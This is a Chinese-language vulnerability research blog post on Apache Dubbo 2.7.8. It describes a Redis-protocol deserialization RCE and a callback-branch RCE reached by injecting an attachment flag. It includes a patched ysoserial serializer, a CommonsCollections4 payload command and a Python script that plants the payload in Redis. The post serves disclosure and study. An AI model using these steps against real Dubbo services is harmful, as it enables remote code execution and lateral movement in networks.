馬上年底了,發現年初定的幾個漏洞的KPI還沒來得及完成,趁着最近有空趕緊突擊一波,之前業務部門被爆過Dubbo的漏洞,干脆就把Dubbo拖過來挖一把。之前沒用過Dubbo,既然要挖它就先大體了解了一下,畢竟know it and then hack it。Dubbo是個基於Java的RPC框架,可以實現Java過程的遠程調用。話不多說,先本地搞個Demo跑起來看看,Dubbo版本就采用最新的2.7.8。
本地Demo
先從Git地址https://github.com/apache/dubbo-samples上下載示例項目,里面有幾十個示例,我們隨意選取一個dubbo-samples-http,后續以該示例為基礎進行Demo開發與漏洞調試。此處示例項目的導入、基本配置、啟動、運行步驟不再贅述。
創建Provider
Provider可以理解為服務端,我們創建如下Provider:
public interface DemoService {
String sayHello(String name);
}
public class DemoServiceImpl implements DemoService {
@Override
public String sayHello(String name) {
System.out.println("[" + new SimpleDateFormat("HH:mm:ss").format(new Date()) + "] Hello " + name + ", request from consumer: " + RpcContext.getContext().getRemoteAddress());
return "Hello " + name + ", response from provider: " + RpcContext.getContext().getLocalAddress();
}
}
該Provider只提供了一個sayHello方法,該方法接受一個string類型參數,啟動Provider,如下圖:

創建Consumer
Consumer可以理解為客戶端,我們創建如下Consumer:
public class HttpConsumer {
public static void main(String[] args) throws Exception {
ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext("spring/http-consumer.xml");
context.start();
DemoService demoService = (DemoService) context.getBean("demoService");
System.out.println(demoService.sayHello("rebeyond"));
}
運行Consumer,如下圖:

Provider的輸出:

可以看到Consumer成功調用了Provider端提供的sayhello方法,Demo運行成功。
歷史漏洞
Demo搭建好以后我們對dubbo的大體工作流程就有了一個比較完整的輪廓了,接下來就是思考攻擊面,簡單頭腦風暴了一下想到了幾個關鍵詞:RPC、反射、反序列化、遠程代碼執行、攻擊客戶端、攻擊服務端。以史為鏡,可以知興替,頭腦風暴之后,我們簡單看下Dubbo之前爆過的幾個高危漏洞,。
CVE-2019-17564
先來看一下漏洞描述:“Apache Dubbo支持多種協議,官方默認為 Dubbo 協議。當用戶選擇http協議進行通信時,Apache Dubbo 將接受來自消費者遠程調用的POST請求並執行一個反序列化的操作。由於此步驟沒有任何安全校驗,因此可以造成反序列化執行任意代碼。”
通過描述可以看出,這是一個簡單粗暴的反序列化漏洞,當客戶端和服務端的通信采用http協議時,服務端直接對POST過來的二進制數據流進行Java原生反序列化,因此可以根據項目依賴的一些第三方庫來構造Gadgets實現RCE。
這個漏洞的修復方案也是比較簡單直接,直接把POST請求體的handler由“Java原生反序列化”改為“JsonRpcServer”。
CVE-2020-1948
漏洞描述:“Dubbo 2.7.6或更低版本采用的默認反序列化方式存在代碼執行漏洞,當 Dubbo 服務端暴露時(默認端口:20880),攻擊者可以發送未經驗證的服務名或方法名的RPC請求,同時配合附加惡意的參數負載。當惡意參數被反序列化時,它將執行惡意代碼。經驗證該反序列化漏洞需要服務端存在可以被利用的第三方庫,而研究發現極大多數開發者都會使用的某些第三方庫存在能夠利用的攻擊鏈,攻擊者可以利用它們直接對 Dubbo 服務端進行惡意代碼執行,影響廣泛。”
可以看到,這也是一個反序列化漏洞。這個漏洞的修復方案主要是增加了一個getInvocationWithoutData方法,對惡意的inv對象進行了一個置空操作:


了解完上面這兩個已知漏洞,接下來我們就開始挖新洞了:)
Dubbo Redis協議遠程代碼執行漏洞
上文提到,Apache Dubbo支持多種協議,列表如下:

不同的協議是不同的入口分支,我們選擇redis協議跟一下,首先改造一下我們的Demo,改成redis協議的版本,Provider做如下修改,根據官網的文檔,我們增加get和set方法:
public interface DemoService {
String sayHello(String name);
String get(String key);
String set(String key,Object value);
}
public class HttpProvider {
public static void main(String[] args) throws Exception {
ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext("spring/http-provider.xml");
context.start();
System.out.println("dubbo service started");
RegistryFactory registryFactory = ExtensionLoader.getExtensionLoader(RegistryFactory.class).getAdaptiveExtension();
Registry registry = registryFactory.getRegistry(URL.valueOf("zookeeper://121.37.161.179:2181"));
registry.register(URL.valueOf("redis://192.168.176.2/org.apache.dubbo.samples.http.api.DemoService?category=providers&dynamic=true&application=http-provider&group=member&loadbalance=consistenthash"));
new CountDownLatch(1).await();
}
}
Consumer做如下修改:
public class HttpConsumer {
public static void main(String[] args) throws Exception {
ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext("spring/http-consumer.xml");
context.start();
DemoService demoService = (DemoService) context.getBean("demoService");
String result = demoService.get("rebeyond");
}
}
程序執行流程為:Consumer向Provider請求demoService的引用,這個引用其實就是個redis服務,然后執行demoService的get方法去redis里面取數據。
定位到redis協議的實現代碼org.apache.dubbo.rpc.protocol.redis.RedisProtocol,如下:

可以看到紅框里面在處理set方法時,沒有像memcached那樣調用原生jedis client的get方法,而是將key的內容作為字節流的形式讀取出來並進行了反序列化處理。不過這里負責反序列化的是ObjectInput接口,由於這個接口的實現類比較多,要實際看一下具體是哪個實現類執行的反序列化操作,下斷點跟進去看一下:

可以看到oin的類型是JavaObjectInput,JavaObjectInput是dubbo對Java原生ObjectInputStream的一個簡單封裝,繼續跟進oin.readObject:

直接調用了java.io.ObjectInputStream中的readObject方法來反序列化,沒有任何過濾。不過這里要注意一下,我們在構造payload的時候,需要繞過下面這個小坑:
byte b = getObjectInputStream().readByte();
if (b == 0) {
return null;
}
后面我們在構造payload的時候,需要在惡意反序列化對象的字節碼之前先放一個字節的0數據,才能繞過上面這個校驗。
接下來就是構造payload,我在復現歷史漏洞的時候看到CVE-2019-17564中利用的是CommonCollections 4.0的Gadgets,我們也采用這個鏈來構造Poc,在生成Poc之前,為了使Poc繞過前面那個坑,需要先對ysoserial.jar做一個簡單的改造,如下:
public static void serialize(final Object obj, final OutputStream out) throws IOException {
final ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeByte(1); //add this line to control the execution flow to subsequent deserialization in dubbo
objOut.writeObject(obj);
}
重新構建ysoserial.jar后執行如下命令生成payload:
java8 -jar ysoserial.jar CommonsCollections4 "open /System/Applications/Calculator.app"
把payload寫入redis:
#!/bin/python
#coding=utf-8
import redis,binascii
r = redis.StrictRedis(host='192.168.176.2', port=6379, db=0)
payload=open('/tmp/payload','rb').read()
print binascii.b2a_hex(payload)
r.set('rebeyond', payload)
運行Consumer,payload成功執行:

根據官網文檔可知,dubbo不提供redis協議服務的導出,只提供redis協議服務的引用,因此這個漏洞的攻擊場景主要用於內網橫向移動,當控制了內網一台redis后,批量獲取dubbo client主機的權限。
Dubbo callback遠程代碼執行漏洞
打完client不夠過癮,接下來繼續打server。
Dubbo推薦的默認通信協議是dubbo協議,下面我們就分析下dubbo協議的入口處理類DubboProtocol,經過一波我注意到如下代碼:

這段代碼有兩個問題,第一個問題在於logger.warn,我們先看另外一處調用logger.warn的代碼:
可以看到,Dubbo在其他地方調用logger.warn的時候都會事先通過isWarnEnabled函數判斷下有沒有開啟log,但是137行這里沒有判斷,直接無條件執行了logger.warn。
第二個問題在於,這里的inv對象沒有通過getInvocationWithoutData方法進行清洗。這兩個問題構成了一個漏洞前提,前提有了,下面的問題是怎么控制程序走到這個分支里面。

從上圖代碼可以看出核心的分支控制點在於inv.getObjectAttachments().get(IS_CALLBACK_SERVICE_INVOKE)的值,只有當inv.getObjectAttachments().get(IS_CALLBACK_SERVICE_INVOKE)的值為true的時候,才能執行進入這個問題分支。根據CallBack這個關鍵詞,我了解了一下Dubbo執行回調機制,也就是說Consumer在遠程調用Provider的方法時,也可以讓Provider回過來調用Consumer的方法,這個過程就是回調。我對Demo重新改造一下,做了個callback的版本,Provider側如下:
public interface CallbackService {
/**
* 這個 索引為1的是callback類型。
* dubbo 將基於長連接生成反向代理,就可以在服務端調用客戶端邏輯
* @param key
* @param listener
*/
void addListener(String key, CallbackListener listener);
}
public class CallbackServiceImpl implements CallbackService {
private final Map<String, CallbackListener> listeners;
public CallbackServiceImpl() {
listeners = new ConcurrentHashMap<>();
Thread t = new Thread(() -> {
while (true) {
try {
for (Map.Entry<String, CallbackListener> entry : listeners.entrySet()) {
try {
entry.getValue().changed(getChanged(entry.getKey()));
} catch (Throwable t1) {
listeners.remove(entry.getKey());
}
}
Thread.sleep(5000); // timely trigger change event
} catch (Throwable t1) {
t1.printStackTrace();
}
}
});
t.setDaemon(true);
t.start();
}
@Override
public void addListener(String key, CallbackListener listener) {
listeners.put(key, listener);
listener.changed(getChanged(key)); // send notification for change
}
private String getChanged(String key) {
return "Changed: " + new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(new Date());
}
}
Consumer側:
public class HttpConsumer {
public static void main(String[] args) throws Exception {
ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext("spring/http-consumer.xml");
context.start();
CallbackService callbackService = context.getBean("callbackService", CallbackService.class);
// 增加listener
callbackService.addListener("foo.bar", new CallBackDemo());
}
static class CallBackDemo implements CallbackListener {
@Override
public void changed(String msg) {
System.out.println("I am callback:" + msg);
}
}
}
Demo運行結果如下,Provider成功回調了Consumer的changed方法:

因為Dubbo的Provider和Consumer共用同一套Dubbo的代碼,在問題代碼處打斷點,然后同時運行Provider和Consumer,果然不出意外,Provider沒有斷下來,Consumer斷下來了:

由此可知這個漏洞分支只有機會在Consumer側執行,這個也是意料之中,對Dubbo來說,Consumer調用Provider是正常調用,Provider反過來調用Consumer才叫“回調”,因此Dubbo的流程只存在Provider回調Consumer,不存在Consumer回調Provider。但是我們的目標是Provider,所以需要讓Provider把某個正常調用強制作為“回調”。如何判斷一個請求是“正調”還是“回調”?前文已經提到,就是inv.getObjectAttachments().get(IS_CALLBACK_SERVICE_INVOKE)的值為true的時候,即attachments中的_isCallBackServiceInvoke值為true的時候。
接下來的目標就是要在Provider側尋找一個分支,可以改寫inv的attachments,嘗試在源碼中尋找如下調用點:
找了一圈沒發現key和value同時可控的點,暫時陷入僵局,准備從其他思路突破,再次運行一下callback的Demo並抓包:

上面的數據流,紅色是Consumer發給Provider的,藍色是Provider返回給Consumer的。當我看到sys_callback_arg-1字樣的時候,頓時豁然開朗了,之前客戶端的斷點中,attachments中有一個key就是sys_callback_arg-1,也就是說,attachments是用戶可控的,經過一波分析,最終定位到Provider側的如下代碼段:

趕緊模擬客戶端,在上面那個數據包的基礎上,往里塞一個鍵值對:"_isCallBackServiceInvoke":"true",在Provider側上圖紅框處打上斷點,成功斷了下來:

F8步過,可以看到"_isCallBackServiceInvoke":"true"被成功注入:

第一個分支搞定以后,我們再看一下這段代碼:

還需要搞定一個分支,那就是hasMethod的值必須是false。
但是這里methodStr和inv.getMethodName()都是addListener,這里的methodStr是Provider根據Consumer請求體中指定的接口名稱來反射獲取的,而inv.getMethodName()的值是用戶可控的,這兩部分如下:

嘗試將第一個紅框的方法名隨意改一下,結果發現在請求體decode的時候就報方法不存在的異常,根本走不到構建attachments的流程。這時候只有一個方法,那就是第一個紅框中的接口名和方法名同時修改成一個classpath中確實存在的值,並且這個方法還必須要接受一個Object類型的參數方便后續通過參數注入惡意對象,很自然想到我們可以用Dubbo自帶的幾個默認Service,比如EchoService,這個服務的$echo方法剛好接收一個Object類型參數:

這樣最終methodStr和inv.getMethodName()就分別是addListener和$echo,hasMethod自然為false,成功進入我們想要的漏洞分支:


接下來就是構造inv對象了,參考CVE-2020-1948,這里我們也采用com.sun.rowset.JdbcRowSetImpl和ToStringBean來構造Gadgets,
最終成功執行Payload:

小結
這篇文章主要是給大家分享一下自己的挖洞思路,由於時間很倉促,上文中的一些理解可能存在錯誤,如有不當之處,希望各位斧正。
參考鏈接
1.http://dubbo.apache.org/docs/v2.7/user/references/protocol/